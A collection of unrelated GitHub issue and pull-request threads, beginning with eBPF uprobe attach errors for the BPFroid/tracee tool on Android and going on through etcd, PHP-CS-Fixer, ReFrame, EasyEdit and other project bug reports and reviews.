error attaching uprobe android.content.res.AssetManager.open.java.lang.String_int: failed to attach android_content_res_AssetManager_open_java_lang_String_int44 u(ret)probe using legacy debugfs API
+ android.content.res.AssetManager.openNonAssetFd(int, java.lang.String)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x23d4a0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.content.res.AssetManager.openNonAssetFd.int_java.lang.String: failed to attach android_content_res_AssetManager_openNonAssetFd_int_java_lang_St45 u(ret)probe using legacy debugfs API
+ android.content.res.AssetManager.openNonAssetFd(java.lang.String)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x23d6d0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.content.res.AssetManager.openNonAssetFd.java.lang.String: failed to attach android_content_res_AssetManager_openNonAssetFd_java_lang_String46 u(ret)probe using legacy debugfs API

Failed setting the following uprobes: No compiled code found!:
- android.telephony.TelephonyManager.getCellLocation()
    in file: /system/framework/arm64/boot-framework.oat
- android.telephony.TelephonyManager.getAllCellInfo()
    in file: /system/framework/arm64/boot-framework.oat
- android.app.ActivityManager.getRunningTasks(int)
    in file: /system/framework/arm64/boot-framework.oat
- android.os.PowerManager.newWakeLock(int, java.lang.String, int)
    in file: /system/framework/arm64/boot-framework.oat
libbpf: failed to determine tracepoint 'raw_syscalls/sys_exit' perf event ID: No such file or directory
libbpf: prog 'tracepoint__raw_syscalls__sys_exit': failed to create tracepoint 'raw_syscalls/sys_exit' perf event: No such file or directory
libbpf: failed to determine tracepoint 'raw_syscalls/sys_enter' perf event ID: No such file or directory
libbpf: prog 'tracepoint__raw_syscalls__sys_enter': failed to create tracepoint 'raw_syscalls/sys_enter' perf event: No such file or directory
failed to open kprobe_events file: -2
failed to create kprobe event: -2

Interesting.
Can you please check if the compiled binary you have is statically linked? You can use ldd or readelf to check.
About the errors you get:
Seems that your kernel is not configured with uprobes support (CONFIG_BPF_UPROBES or something)

Interesting. Can you please check if the compiled binary you have is statically linked? You can use ldd or readelf to check.
About the errors you get: Seems that your kernel is not configured with uprobes support (CONFIG_BPF_UPROBES or something)

Found the issue, I didn't had debugfs mounted. The binary works fine, and ldd doesn't show any libraries hinting that is statically linked.
But I'll try a new clean build in the bullseye container to make sure it still compiles statically.

@yanivagman clean build with the bullseye container:
ldd:
1 ❯ ldd tracee                                                                             dist -> main
	not a dynamic executable

And readelf
readelf -d tracee

There is no dynamic section in this file.

But on termux ldd shows it as an empty executable

Interesting. Can you please check if the compiled binary you have is statically linked? You can use ldd or readelf to check.
About the errors you get: Seems that your kernel is not configured with uprobes support (CONFIG_BPF_UPROBES or something)

Any idea why in the output of uprobes I don't seem to get the full arguments?
For example
5142.789479    10187  SoundDecoder_1   7466    30223<PHONE_NUMBER>570228261 generic_uprobe       fn: /apex/com.android.runtime/lib64/bionic/libdl.so:dlopen, arg1: 4```

Any idea why in the output of uprobes I don't seem to get the full arguments?
For example
5142.789479    10187  SoundDecoder_1   7466    30223<PHONE_NUMBER>570228261 generic_uprobe       fn: /apex/com.android.runtime/lib64/bionic/libdl.so:dlopen, arg1: 4```

Strange. For API uprobes I didn't add support but for native libraries like libdl it should work. If it worths something, this is where the arguments are being extracted in bpf code: https://github.com/yanivagman/BPFroid/blob/main/tracee/tracee.bpf.c#L1797

Any idea why in the output of uprobes I don't seem to get the full arguments?
For example
5142.789479    10187  SoundDecoder_1   7466    30223<PHONE_NUMBER>570228261 generic_uprobe       fn: /apex/com.android.runtime/lib64/bionic/libdl.so:dlopen, arg1: 4```

Strange. For API uprobes I didn't add support but for native libraries like libdl it should work. If it worths something, this is where the arguments are being extracted in bpf code: https://github.com/yanivagman/BPFroid/blob/main/tracee/tracee.bpf.c#L1797

did you needed any patches to your kernel related to this?
The same issue happens here https://github.com/iovisor/bpftrace/issues/1503 and while bpftrace

Any idea why in the output of uprobes I don't seem to get the full arguments?
For example
5142.789479    10187  SoundDecoder_1   7466    30223<PHONE_NUMBER>570228261 generic_uprobe       fn: /apex/com.android.runtime/lib64/bionic/libdl.so:dlopen, arg1: 4```

Strange. For API uprobes I didn't add support but for native libraries like libdl it should work. If it worths something, this is where the arguments are being extracted in bpf code: https://github.com/yanivagman/BPFroid/blob/main/tracee/tracee.bpf.c#L1797

this issue sounds similar to https://github.com/iovisor/bpftrace/issues/1503 both are using uprobe too.

Any idea why in the output of uprobes I don't seem to get the full arguments?
For example
5142.789479    10187  SoundDecoder_1   7466    30223<PHONE_NUMBER>570228261 generic_uprobe       fn: /apex/com.android.runtime/lib64/bionic/libdl.so:dlopen, arg1: 4```

Strange. For API uprobes I didn't add support but for native libraries like libdl it should work. If it worths something, this is where the arguments are being extracted in bpf code: https://github.com/yanivagman/BPFroid/blob/main/tracee/tracee.bpf.c#L1797

the issue sounds similar to https://github.com/iovisor/bpftrace/issues/1503 maybe it's due to the same issue?

Might be, although my setup (pixel 3a xl) was also aarch64 and it worked fine and I don't use bpf_probe_read_user() helper in my code

Weird enough, I'm on 4.14. Maybe something has changed in the newer version of the kernel or I toggled/forgot to toggle a defconfig value.
https://github.com/nitanmarcel/android_kernel_xiaomi_sm6250-ebpf/commit/2a4f639d04f4dba97728883ae1656bab21c17fe2

The issue does happen when reading char indeed as in the issue I linked in the bpftrace repo


Etcd 3.0 crash on start as new member

When I let a fresh etcd 3 instance join a 2.3 cluster it gives the following error when opening a raft connection.
2016-07-08 19:21:29.293805 I | raft: newRaft 40df24e2b0cfec80 [peers: [], term: 0, commit: 0, applied: 0, lastindex: 0, lastterm: 0]
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xb code=0x1 addr=0x4 pc=0x3966a0]

goroutine 1 [running]:
panic(0x96bd90, 0x1110a038)
	/usr/lib/go-1.6/src/runtime/panic.go:481 +0x330
sync/atomic.storeUint64(0x11414104, 0x0, 0x0)
	/usr/lib/go-1.6/src/sync/atomic/64bit_arm.go:20 +0x40
github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdserver.(*consistentIndex).setConsistentIndex(0x11414104, 0x0, 0x0)
	/usr/src/github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdserver/consistent_index.go:28 +0x2c
github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdserver.NewServer(0x11244420, 0x11414000, 0xb6f0b018, 0x1110ad40)
	/usr/src/github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdserver/server.go:414 +0x1d28
github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdmain.startEtcd(0x112e6000, 0x0, 0x0, 0x0)
	/usr/src/github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdmain/etcd.go:366 +0x25cc
github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdmain.startEtcdOrProxyV2()
	/usr/src/github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdmain/etcd.go:116 +0x1b8c
github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdmain.Main()
	/usr/src/github.com/coreos/etcd/cmd/vendor/github.com/coreos/etcd/etcdmain/main.go:36 +0x1c8
main.main()
	/usr/src/github.com/coreos/etcd/cmd/main.go:28 +0x14

I run this on ARM, not sure if that causes it.

@meyskens should be fixed with #5890, try building from master?

Thanks! that fixed this

@meyskens I see from your github page you are doing etcd on scaleways.  Do you know if they might host arm architecture CI for etcd?

Probably, they are very happy to help open source projects. Drop them a mail at<EMAIL_ADDRESS>If you can't come to a deal mail me and I will ask if our company can't sponsor some.


[Name Lookup, ASTScopes] Cleanups and fixes, also 1st cut at lazily scoping iterable type contexts.

ASTScopes still disabled by default, but pulling in the latest evolution, and resolving some warnings.

@swift-ci please smoke test

This may have caused a regression on the Windows build: https://dev.azure.com/compnerd/windows-swift/_build/results?buildId=6343&view=logs&j=2d2b3007-3c5c-5840-9bb0-2b1ea49925f3&t=2fdae087-0aee-589c-2ab0-2b8fc539478d&l=179


feat: add additional source fields for oauth2 roles

I've been stumbling when trying to use OAuth2 with Auth0.  Auth0 only allows custom claims with a namespaced prefix.  Auth0 also only allows setting keys within app_metadata but not nested within authorization and does not send attach to the token either.  I did notice caddy-auth-jwt allows additional token fields as roles so I copied those over as well.
https://auth0.com/docs/tokens/create-namespaced-custom-claims
https://auth0.com/docs/actions/triggers/post-login/manage-user-metadata
This PR adds the following as roles:
{roles, role, group, groups}
NAMESPACED/{roles, role, group, groups}

app_metadata/{roles, role, group, groups}
app_metadata/authorized/{roles, role, group, groups}

realm_access/{roles, role, group, groups}

@otaku ,  per CONTRIBUTING.md, please open an issue to discuss this.


Driver silently dumps all but first server in DSN

The docs suggest that you should be able to use the driver with multiple Crate servers by using a DSN of the form:
crate:c1.example.com:4200,c2.example.com:4200,c3.example.com:4200

However, the driver just discards all but the first server and uses that for all connections, which happens here in the parseDSN() function. I guess its a case of the docs getting ahead of the functionality? I was building an application that assumed the driver would handle fail-over for me only to discover it wouldn't.
I think that the documentation should definitely be updated to reflect that the driver can't handle multi-server DSNs. It would be nice if the driver did behave as promised though. I'll try to put some time into it a little later.

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/33288651-driver-silently-dumps-all-but-first-server-in-dsn?utm_campaign=plugin&utm_content=tracker%2F5517944&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F5517944&utm_medium=issues&utm_source=github).

hi @jeteon
thanks for reporting the issue. the functionality should be available as stated in the docs. we'll have a look and let you know when it's fixed.

hi @jeteon
i tried to reproduce the issue with the newest version, but in my case the round robin works correctly and failing nodes where disabled properly.
Which version are you using?

I was using version 0.3.1. The PDO docs currently suggest using this one. I switched to 0.4.0 since this is the latest stable one available. I can confirm that the issue is indeed no longer present.
I would highly recommend updating the docs on the main site to suggest using 0.4.0 rather than the older 0.3.1.
I realized I was incorrect before about the source of the problem. It was actually the regex used to parse the DSN.


btrfs: verify file content after mount

verify file content after mount

@jonyhy96 could you use your real name to sign off? Thanks


Move commitment scheme directories

This change is

#587  👈
dev

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @spapinistarkware and the rest of your teammates on  Graphite

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 93.91%. Comparing base (355f2e5) to head (adb6ea7).

Additional details and impacted files
@@           Coverage Diff           @@
##              dev     #587   +/-   ##
=======================================
  Coverage   93.91%   93.91%
=======================================
  Files          67       67
  Lines        8426     8426
  Branches     8426     8426
=======================================
  Hits         7913     7913
  Misses        449      449
  Partials       64       64

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Merge activity

Apr 25, 4:55 AM EDT: @spapinistarkware started a stack merge that includes this pull request via Graphite.


Get running on ruby 3.3

[x] Docker workspace
[ ] Specs passing on ruby 3.3

[x] Specs passing
[ ] Fix skipped tests

Apologies, this was intended for a fork and not the upstream branch. Closing the pull request.


type hinting that \PhpCsFixer\Config::getFinder() can return \PhpCsFi…

type hinting that \PhpCsFixer\Config::getFinder() can return \PhpCsFixer\Fixer

The SCA failure on Travis seems unrelated to this PR. Could you rebase your branch to the latest of 2.8 to see if it helps?

it was for 2.8 : https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/3301
I aksed for 2.2, as if we would accept this change, then only for 2.2 target branch

Does this still need rebasing?

Don't bother with rebases here.
What is needed here is not to fix docblock to match fuzzy logic of phpstan, but to actually investigate the code do we really support both, collection of SplFileInfo and strings equally or not, and if so why, maybe with possibility to improve it.

@keradus tl:dr; "is finder overkill?" ?

finder is wrapper for iterable and adding finder here is solving an issue just for fuzzy phpstan logic due to issues fully discussed in referred issue.
SplFileInfo vs string case could be a thing that needs investigation indeed, and side effect of it could be solving in-place confusion of phpstan as well.

@keradus in faffing around with my package trying to get a workaround, have discovered that 2.9 doesn't support string[] as per documentation of PhpCsFixer\ConfigInterface::setFinder(), but does support SplFileInfo[]

yet, string[] might be supported if one provides a pure array, not Finder instance.
as said, I need to take deeper look to know shall we merge your docs update or drop string in first place -
it's one of oldest code in out project.
I must admit it's not a prio for me on end-of-the-year time. Please be patient.
no need for further actions from your side here (like merges/rebases)

@keradus When providing the pure string[] array. FileFilterIterator line 56 assumes SplFileInfo[], leading to a fatal error.


ReFrame fails on Dom reporting wrong reason

Originally created by @lucamar.
Several daily tests failed today with a reason like the following:
Reason: caught framework exception: could not load module VASP
See the full log here
The reason is incorrect, since the module VASP is actually loaded and it can be used correctly.  However ReFrame detects an error message printed on stdout for another missing modulefile:
$ module load daint-mc
$ module load VASP
atp(3):ERROR:105: Unable to locate a modulefile for 'atp/2.1.1'
CrayIntel/.17.08(3):ERROR:102: Tcl command execution failed: if { [ is-loaded atp ] } {
module swap atp atp/2.1.1
} else {
module load atp/2.1.1
}

More details in this CSCS ticket.
I think that ReFrame should check if the target modulefile is actually present in the module list, before skipping the test and reporting a failure.

This issue has two parts:

The error message which is not accurate
Whether the modules backend should accept errors in the loading process or not and rely on whether the actual module is (or is reported as) loaded.

For the first one, I agree and we can fix that. For the second one, I am not sure if this is the correct behaviour, because it might hide other problems. @victorusu What is your opinion?

@lucamar I replaced this issue with a more specific one: #467.


fix: add reference object to server variables field

title: Add reference object to server variables field
I noticed that some changes from release 2.3.0 and 2.4.0 are not reflected in the specs yet. The option to use a reference object instead of a channel item object was already added to this branch.
My PR documents the option to use a reference object instead of a server variable object. If I understand the release notes correctly, this feature was introduced in 2.4.0.

Related issue(s):
none

Hey @lorenzsimon. Thanks for taking the time. @char0n already fixed it at #776 and will be included in the next release. I'm closing as a duplicate.


Create letconstvar.js

Here, I have explained some important concepts of JavaScript. So many people always get confused when they study "let", "const" and "var". So I have tried my best to explain this here. I hope this helps. Happy coding!😄✌

@leonardomso  Please accept the issue with hacktoberfest tag.


[Bug]: Not support null value in column with ->currency()

What happened?
Tables\Columns\TextColumn::make('cost')
                    ->sortable()
                    ->placeholder(__('Brak'))
                    ->currency('PLN'),

currency macro not work with null value, I'm getting fatal error with null. I want to show placeholder if value is null.
How to reproduce the bug
Create TextColumn with null value and add ->currency()
Package Version
3.1
PHP Version
8.2
Laravel Version
10.34.2
Which operating systems does with happen with?
No response
Notes
No response

@DawidMazur I've tested your example and it works fine for me.
Please create a minimum repo that reproduces this issue so I can check it.


✨ Add GraphQL example

Add an example of using GraphQL with CAv2 core template

This has been linked into awesome-clean-architecture via https://github.com/SSWConsulting/awesome-clean-architecture/pull/2


Getting error "414 Request-URL Too Large"

same here, have you solved it?

The issue is from Flutterwave
On Wed, 22 Feb 2023 at 3:39 PM, Ibidapo Adeolu @.***>
wrote:

same here, have you solved it?
—
Reply to this email directly, view it on GitHub
https://github.com/adeleyeayodeji/ade_flutterwave_working_version/issues/2#issuecomment-1440129700,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AKEMMLX7EPYIFOQTHQC6ANDWYYQIVANCNFSM6AAAAAAUU5QY3M
.
You are receiving this because you are subscribed to this thread.Message
ID: <adeleyeayodeji/ade_flutterwave_working_version/issues/2/1440129700@
github.com>

Flutterwave is working on it. stay tuned.


Not enough disk space.

When I run MEMIT to edit LLAMA2 on AutoDL, the program reports an error: "Insufficient disk space. Required: 34.06 GiB (Download: 16.99 GiB, Generation: 17.07 GiB, Post-processing: unknown size)." However, I have tried expanding the data disk and it shows that there is still 100G of space remaining on the data disk. Are there other ways to operate, such as changing the download path? If so, can you tell me how to modify it?

Thanks for your answer。The model has already been downloaded locally, and editing Rome runs normally. However, when editing MEMIT and calling edit code, an error occurs.The specific error message is as follows:
could you please give some other advice
------------------ 原始邮件 ------------------
发件人:                                                                                "zjunlp/EasyEdit"                                                                                @.>;
发送时间: 2023年12月2日(星期六) 中午11:18
@.>;
<EMAIL_ADDRESS>主题: Re: [zjunlp/EasyEdit] Not enough disk space.  (Issue #107)
I cannot know how you downloaded the model, but you can check the available disk space on your system. If your system's disk capacity is insufficient, you can firstly download the model locally and then load it.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

Please upload the error message image again, as it is not showing up on my end, and therefore I am unable to view it. Thank you very much for your understanding and cooperation!

I have already sent the complete code in an attachment nearby, and the specific error information is in the Traceback after editor.edit(). Thank you again for your response."
------------------ 原始邮件 ------------------
发件人:                                                                                "zjunlp/EasyEdit"                                                                                @.>;
发送时间: 2023年12月2日(星期六) 中午12:45
@.>;
<EMAIL_ADDRESS>主题: Re: [zjunlp/EasyEdit] Not enough disk space.  (Issue #107)
Please upload the error message image again, as it is not showing up on my end, and therefore I am unable to view it. Thank you very much for your understanding and cooperation!
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

You can try downloading the dataset to your local machine and using the commented code in lines 99-101 of EasyEdit/easyeditor/models/rome/layer_stats.py to replace lines 102-105 to load the local dataset. The code will be as shown in the screenshot:

thanks for your patience。I will try it and give your response
---Original---
From: "Ziwen @.>
Date: Sat, Dec 2, 2023 13:32 PM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [zjunlp/EasyEdit] Not enough disk space.  (Issue #107)
You can try downloading the dataset to your local machine and using the commented code in lines 99-101 of EasyEdit/easyeditor/models/rome/layer_stats.py to replace lines 102-105 to load the local dataset. The code will be as shown in the screenshot:
loa_data.png (view on web)
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

Thank you very much for your suggestion; I successfully fixed the bug related to memory operation.
Although MEMIT can run successfully, when writing only to layer4, it shows over 1000 are need, which takes nearly an hour. I am running this on 3 4090s, and I have checked the memory usage; the GPUs are being utilized. Is this normal, or do you have any other suggestions?（I only edit three examples)

）

This is a normal phenomenon, and it is expected that the MEMIT method would take some time.

Thank you very much for your advice. I wish you success in your work and a happy life.


The gateway server API should support the start and stop service operations

Background & motivation
The gateway server does port forwarding between the service pod and the service user.  Its API receives requests when a service gets added or removed so it can open and close the connection.  The gateway API should be updated to also handle start and stop service requests.
Desired behaviour
The gateway should close the connection when the service is stopped and should re-open it when the service is restarted.
How important is this to you?
Critical; Kurtosis is unusable for me without it.

Related to #673